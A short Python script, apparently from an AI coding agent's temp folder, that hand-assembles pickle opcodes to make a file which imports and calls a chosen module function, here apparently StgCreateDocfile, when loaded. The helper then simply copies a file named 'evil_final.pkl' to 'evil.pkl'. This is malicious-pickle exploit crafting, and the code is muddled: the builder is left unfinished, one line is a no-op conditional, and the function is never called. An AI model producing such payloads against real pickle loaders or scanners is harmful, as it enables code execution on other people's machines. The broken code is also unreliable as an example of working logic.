File size: 793 Bytes
560658a
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle, io
from pathlib import Path
dst = Path(r'C:/Users/uozer/AppData/Local/Temp/opencode/w51_StgCreateDocfile')
def mr(mod,name,*args):
    b=io.BytesIO(); b.write(pickle.PROTO+bytes([4]))
    def su(s):
        e=s.encode(); return pickle.SHORT_BINUNICODE+bytes([len(e)])+e if len(e)<256 else pickle.BINUNICODE+__import__('struct').pack('<I',len(e))+e
    b.write(su(mod)); b.write(su(name)); b.write(pickle.STACK_GLOBAL)
    b.write(su(args[0])); b.write(pickle.BININT1 + bytes([0]) if False else b'')
    # StgCreateDocfile(path, mode, reserved) - match existing pickle: just path?
    # Use existing evil_final as source of truth - regenerate by copying
    open('evil.pkl','wb').write(Path('evil_final.pkl').read_bytes())
    print('copied evil_final -> evil.pkl')